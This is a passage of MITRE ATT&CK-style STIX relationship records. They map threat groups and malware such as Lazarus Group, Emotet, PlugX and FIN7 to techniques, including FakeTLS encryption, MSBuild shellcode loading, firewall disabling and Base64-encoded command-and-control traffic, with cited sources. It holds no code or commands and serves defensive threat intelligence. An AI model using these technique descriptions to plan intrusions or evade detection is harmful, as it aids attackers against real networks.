            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "target_ref": "attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc",
            "external_references": [
                {
                    "source_name": "Novetta Blockbuster",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"
                },
                {
                    "source_name": "Novetta Blockbuster Destructive Malware",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.",
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"
                },
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/",
                    "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.",
                    "source_name": "McAfee Lazarus Resurfaces Feb 2018"
                },
                {
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/",
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.",
                    "source_name": "McAfee GhostSecret"
                }
            ],
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware also uses a unique form of communication encryption known as FakeTLS that mimics TLS but uses a different encryption method, evading SSL man-in-the-middle decryption attacks.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: McAfee GhostSecret)",
            "relationship_type": "uses",
            "id": "relationship--0b255cef-7177-48b8-ade1-752314f90b7e",
            "type": "relationship",
            "modified": "2020-12-11T17:47:23.117Z",
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            "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4",
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            "type": "relationship",
            "modified": "2020-03-27T21:02:29.469Z",
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        },
        {
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            "source_ref": "attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d",
            "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4",
            "relationship_type": "subtechnique-of",
            "id": "relationship--68e0f80d-86e4-47c4-9498-49fa72221ca2",
            "type": "relationship",
            "modified": "2020-03-27T21:04:50.409Z",
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        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "source_ref": "attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f",
            "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4",
            "relationship_type": "subtechnique-of",
            "id": "relationship--5b0a440d-575a-4c1a-97aa-56945686f85a",
            "type": "relationship",
            "modified": "2020-03-27T21:06:33.285Z",
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        {
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            "object_marking_refs": [
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            "source_ref": "attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49",
            "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4",
            "relationship_type": "subtechnique-of",
            "id": "relationship--9774fd36-2d85-4570-9f63-97f2d6c1ca6c",
            "type": "relationship",
            "modified": "2020-03-27T21:08:25.409Z",
            "created": "2020-03-27T21:08:25.409Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--2cd950a6-16c4-404a-aa01-044322395107",
            "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4",
            "relationship_type": "subtechnique-of",
            "id": "relationship--6b50cc7f-4284-4b29-bb70-e4184dd52691",
            "type": "relationship",
            "modified": "2020-03-27T21:12:27.996Z",
            "created": "2020-03-27T21:12:27.996Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade",
            "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4",
            "relationship_type": "subtechnique-of",
            "id": "relationship--0c29bffb-78c0-43c0-8b99-f5155bfa0432",
            "type": "relationship",
            "modified": "2020-03-27T21:13:45.236Z",
            "created": "2020-03-27T21:13:45.236Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb",
            "target_ref": "attack-pattern--83a766f8-1501-4b3a-a2de-2e2849e8dfc1",
            "external_references": [
                {
                    "url": "http://www.crowdstrike.com/blog/whois-numbered-panda/",
                    "description": "Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.",
                    "source_name": "Meyers Numbered Panda"
                }
            ],
            "description": "[APT12](https://attack.mitre.org/groups/G0005) has used multiple variants of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) including multiplying the first two octets of an IP address and adding the third octet to that value in order to get a resulting command and control port.(Citation: Meyers Numbered Panda)",
            "relationship_type": "uses",
            "id": "relationship--66647c20-2d76-4711-9eee-07d932e75851",
            "type": "relationship",
            "modified": "2020-03-27T21:14:03.099Z",
            "created": "2020-03-27T21:14:03.099Z"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--c48a67ee-b657-45c1-91bf-6cdbe27205f8",
            "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4",
            "relationship_type": "subtechnique-of",
            "id": "relationship--7dee3da3-7e24-4dc5-811f-61fad028560b",
            "type": "relationship",
            "modified": "2020-03-27T21:16:13.291Z",
            "created": "2020-03-27T21:16:13.291Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab",
            "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4",
            "relationship_type": "subtechnique-of",
            "id": "relationship--6905186c-0c88-472e-a3a3-2dca4cf1c874",
            "type": "relationship",
            "modified": "2020-03-27T21:16:58.932Z",
            "created": "2020-03-27T21:16:58.932Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336",
            "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4",
            "relationship_type": "subtechnique-of",
            "id": "relationship--bcfbec44-1ed2-4555-8c60-4dd7452d3a3c",
            "type": "relationship",
            "modified": "2020-03-27T21:30:51.231Z",
            "created": "2020-03-27T21:30:51.231Z"
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        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--6e3bd510-6b33-41a4-af80-2d80f3ee0071",
            "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4",
            "relationship_type": "subtechnique-of",
            "id": "relationship--2bb931c2-d3ae-4956-aba7-6e42c46cdc5a",
            "type": "relationship",
            "modified": "2020-03-27T21:32:21.863Z",
            "created": "2020-03-27T21:32:21.863Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31",
            "target_ref": "attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96",
            "relationship_type": "mitigates",
            "description": "MSBuild.exe may not be necessary within an environment and should be removed if not being used.",
            "id": "relationship--a6c274f5-43e1-4f69-a182-0c4ab9d0a5ed",
            "type": "relationship",
            "modified": "2021-03-05T22:25:49.021Z",
            "created": "2020-03-27T21:50:26.217Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96",
            "target_ref": "attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b",
            "relationship_type": "subtechnique-of",
            "id": "relationship--4ab2b092-a8c3-4728-9d3d-806c1ddb4796",
            "type": "relationship",
            "modified": "2020-03-27T21:50:26.220Z",
            "created": "2020-03-27T21:50:26.220Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3",
            "target_ref": "attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96",
            "external_references": [
                {
                    "url": "https://github.com/EmpireProject/Empire",
                    "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.",
                    "source_name": "Github PowerShell Empire"
                }
            ],
            "description": "[Empire](https://attack.mitre.org/software/S0363) can use built-in modules to abuse trusted utilities like MSBuild.exe.(Citation: Github PowerShell Empire)\n",
            "relationship_type": "uses",
            "id": "relationship--8e21def7-2c70-47f8-90f5-0238048ae15f",
            "type": "relationship",
            "modified": "2021-04-09T14:47:00.146Z",
            "created": "2020-03-27T21:53:01.439Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
            "target_ref": "attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96",
            "external_references": [
                {
                    "source_name": "Palo Alto PlugX June 2017",
                    "description": "Lancaster, T. and Idrizovic, E.. (2017, June 27). Paranoid PlugX. Retrieved July 13, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/06/unit42-paranoid-plugx/"
                }
            ],
            "description": "A version of [PlugX](https://attack.mitre.org/software/S0013) loads as shellcode within a .NET Framework project using msbuild.exe, presumably to bypass application control techniques.(Citation: Palo Alto PlugX June 2017)",
            "relationship_type": "uses",
            "id": "relationship--652af94a-7ff3-4d47-89e5-154c7bc34258",
            "type": "relationship",
            "modified": "2020-06-20T21:43:42.905Z",
            "created": "2020-03-27T21:54:12.731Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f",
            "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b",
            "external_references": [
                {
                    "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019.",
                    "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/",
                    "source_name": "Securelist Kimsuky Sept 2013"
                }
            ],
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has been observed disabling the system firewall.(Citation: Securelist Kimsuky Sept 2013)",
            "relationship_type": "uses",
            "id": "relationship--c2480447-a55d-446e-8d62-88c6a4f08afb",
            "type": "relationship",
            "modified": "2020-03-28T00:26:28.307Z",
            "created": "2020-03-28T00:26:28.307Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b",
            "external_references": [
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
                },
                {
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.",
                    "source_name": "Novetta Blockbuster Loaders"
                },
                {
                    "source_name": "Novetta Blockbuster Tools",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Tools Report. Retrieved March 10, 2016.",
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Tools-Report.pdf"
                }
            ],
            "description": "Various [Lazarus Group](https://attack.mitre.org/groups/G0032) malware modifies the Windows firewall to allow incoming connections or disable it entirely using [netsh](https://attack.mitre.org/software/S0108). (Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)(Citation: Novetta Blockbuster Tools)",
            "relationship_type": "uses",
            "id": "relationship--b348a960-f2f1-4832-aeb4-ac890c1e1c39",
            "type": "relationship",
            "modified": "2020-03-28T00:29:30.607Z",
            "created": "2020-03-28T00:29:30.607Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547",
            "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b",
            "external_references": [
                {
                    "source_name": "TrendMicro DarkComet Sept 2014",
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET",
                    "description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018."
                },
                {
                    "source_name": "Malwarebytes DarkComet March 2018",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/",
                    "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018."
                }
            ],
            "description": "[DarkComet](https://attack.mitre.org/software/S0334) can disable Security Center functions like the Windows Firewall.(Citation: TrendMicro DarkComet Sept 2014)(Citation: Malwarebytes DarkComet March 2018)",
            "relationship_type": "uses",
            "id": "relationship--a1d5c2d2-92f7-4cfa-bd1d-fa06e18c0f33",
            "type": "relationship",
            "modified": "2020-03-28T00:53:12.439Z",
            "created": "2020-03-28T00:53:12.439Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
            "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b",
            "external_references": [
                {
                    "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2",
                    "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.",
                    "source_name": "Cisco H1N1 Part 2"
                }
            ],
            "description": "[H1N1](https://attack.mitre.org/software/S0132) kills and disables services for Windows Firewall.(Citation: Cisco H1N1 Part 2)",
            "relationship_type": "uses",
            "id": "relationship--43c16333-5f95-45b4-aedd-b90ccb56da3a",
            "type": "relationship",
            "modified": "2020-03-28T00:55:39.773Z",
            "created": "2020-03-28T00:55:39.773Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676",
            "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b",
            "external_references": [
                {
                    "description": "The DigiTrust Group. (2017, January 01). NanoCore Is Not Your Average RAT. Retrieved November 9, 2018.",
                    "url": "https://www.digitrustgroup.com/nanocore-not-your-average-rat/",
                    "source_name": "DigiTrust NanoCore Jan 2017"
                },
                {
                    "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/",
                    "source_name": "PaloAlto NanoCore Feb 2016"
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                    "description": "GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.",
                    "url": "https://securelist.com/lazarus-under-the-hood/77908/",
                    "source_name": "Kaspersky Lazarus Under The Hood Blog 2017"
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                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.",
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"
                }
            ],
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) replaced the background wallpaper of systems with a threatening image after rendering the system unbootable with a [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002)(Citation: Kaspersky Lazarus Under The Hood Blog 2017)(Citation: Novetta Blockbuster Destructive Malware)",
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                    "url": "https://www.cisecurity.org/white-papers/ms-isac-security-primer-emotet/",
                    "description": "CIS. (2018, December 12). MS-ISAC Security Primer- Emotet. Retrieved March 25, 2019."
                },
                {
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                    "url": "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/",
                    "description": "Kessem, L., et al. (2017, November 13). New Banking Trojan IcedID Discovered by IBM X-Force Research. Retrieved July 14, 2020."
                }
            ],
            "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed leveraging a module that can scrape email addresses from Outlook.(Citation: CIS Emotet Dec 2018)(Citation: IBM IcedID November 2017)",
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                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
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                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.",
                    "source_name": "Novetta Blockbuster Loaders"
                },
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                    "source_name": "Novetta Blockbuster RATs",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.",
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf"
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                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/",
                    "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.",
                    "source_name": "McAfee Lazarus Resurfaces Feb 2018"
                }
            ],
            "description": "A [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample encrypts data using a simple byte based XOR operation prior to exfiltration.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)(Citation: Novetta Blockbuster RATs)(Citation: McAfee Lazarus Resurfaces Feb 2018)",
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                    "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.",
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638",
            "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
            "relationship_type": "revoked-by",
            "id": "relationship--96f5f245-a67b-4e3d-8d3f-ef2a7719a3fd",
            "type": "relationship",
            "modified": "2020-03-30T03:10:12.851Z",
            "created": "2020-03-30T03:10:12.851Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2",
            "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18",
            "external_references": [
                {
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF",
                    "description": "US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.",
                    "source_name": "US-CERT BADCALL"
                }
            ],
            "description": "[BADCALL](https://attack.mitre.org/software/S0245) communicates on ports 443 and 8000 with a FakeTLS method.(Citation: US-CERT BADCALL)",
            "relationship_type": "uses",
            "id": "relationship--c13bc6b0-a8fa-4c52-9774-3738a5f1ce90",
            "type": "relationship",
            "modified": "2020-03-30T18:32:03.450Z",
            "created": "2020-03-30T18:32:03.450Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "external_references": [
                {
                    "source_name": "Kaspersky Carbanak",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf"
                },
                {
                    "source_name": "FireEye CARBANAK June 2017",
                    "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"
                }
            ],
            "description": "[Carbanak](https://attack.mitre.org/software/S0030) encodes the message body of HTTP traffic with Base64.(Citation: Kaspersky Carbanak)(Citation: FireEye CARBANAK June 2017)",
            "relationship_type": "uses",
            "id": "relationship--d9302591-bba1-420e-96ac-401304d37258",
            "type": "relationship",
            "modified": "2020-03-30T18:46:58.141Z",
            "created": "2020-03-30T18:46:58.141Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "external_references": [
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/",
                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.",
                    "source_name": "Palo Alto menuPass Feb 2017"
                },
                {
                    "url": "http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html",
                    "description": "Nakamura, Y.. (2017, February 17). ChChes - Malware that Communicates with C&C Servers Using Cookie Headers. Retrieved March 1, 2017.",
                    "source_name": "JPCERT ChChes Feb 2017"
                }
            ],
            "description": "[ChChes](https://attack.mitre.org/software/S0144) can encode C2 data with a custom technique that utilizes Base64.(Citation: Palo Alto menuPass Feb 2017)(Citation: JPCERT ChChes Feb 2017)\t",
            "relationship_type": "uses",
            "id": "relationship--434a9327-8e08-4336-adbd-f24a0ee9eba6",
            "type": "relationship",
            "modified": "2020-03-30T18:49:40.258Z",
            "created": "2020-03-30T18:49:40.258Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "external_references": [
                {
                    "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware",
                    "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.",
                    "source_name": "Forcepoint Felismus Mar 2017"
                }
            ],
            "description": "Some [Felismus](https://attack.mitre.org/software/S0171) samples use a custom method for C2 traffic that utilizes Base64.(Citation: Forcepoint Felismus Mar 2017)",
            "relationship_type": "uses",
            "id": "relationship--bd41e985-806d-4bc5-b7ef-fd00fc96cd3c",
            "type": "relationship",
            "modified": "2020-03-30T18:52:30.735Z",
            "created": "2020-03-30T18:52:30.735Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
            "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18",
            "external_references": [
                {
                    "source_name": "Fidelis Turbo",
                    "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.",
                    "url": "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf"
                }
            ],
            "description": "[Derusbi](https://attack.mitre.org/software/S0021) has used unencrypted HTTP on port 443 for C2.(Citation: Fidelis Turbo)",
            "relationship_type": "uses",
            "id": "relationship--a5bb3ddf-446a-42c4-b522-112ad643c678",
            "type": "relationship",
            "modified": "2020-03-30T18:59:10.394Z",
            "created": "2020-03-30T18:56:48.918Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--6856ddd6-2df3-4379-8b87-284603c189c3",
            "target_ref": "attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada",
            "relationship_type": "revoked-by",
            "id": "relationship--e367aefb-5784-4fd8-85ac-56afa3f9e504",
            "type": "relationship",
            "modified": "2020-03-30T19:16:29.761Z",
            "created": "2020-03-30T19:16:29.761Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023",
            "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18",
            "external_references": [
                {
                    "source_name": "Talos Emotet Jan 2019",
                    "url": "https://blog.talosintelligence.com/2019/01/return-of-emotet.html",
                    "description": "Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019."
                }
            ],
            "description": "[Emotet](https://attack.mitre.org/software/S0367) has used HTTP over ports such as 20, 22, 7080, and 50000, in addition to using ports commonly associated with HTTP/S.(Citation: Talos Emotet Jan 2019)",
            "relationship_type": "uses",
            "id": "relationship--12c14ace-db29-4b08-a052-ba867c9ba534",
            "type": "relationship",
            "modified": "2020-03-30T19:29:56.297Z",
            "created": "2020-03-30T19:29:56.297Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
            "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18",
            "external_references": [
                {
                    "source_name": "FireEye FIN7 Aug 2018",
                    "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
                }
            ],
            "description": "[FIN7](https://attack.mitre.org/groups/G0046) has used port-protocol mismatches on ports such as 53, 80, 443, and 8080 during C2.(Citation: FireEye FIN7 Aug 2018)",
            "relationship_type": "uses",
            "id": "relationship--921b9a4d-091a-442b-981a-0b34daa2ed6a",
            "type": "relationship",
            "modified": "2020-03-30T19:36:27.927Z",
            "created": "2020-03-30T19:36:27.927Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--bd0536d7-b081-43ae-a773-cfb057c5b988",
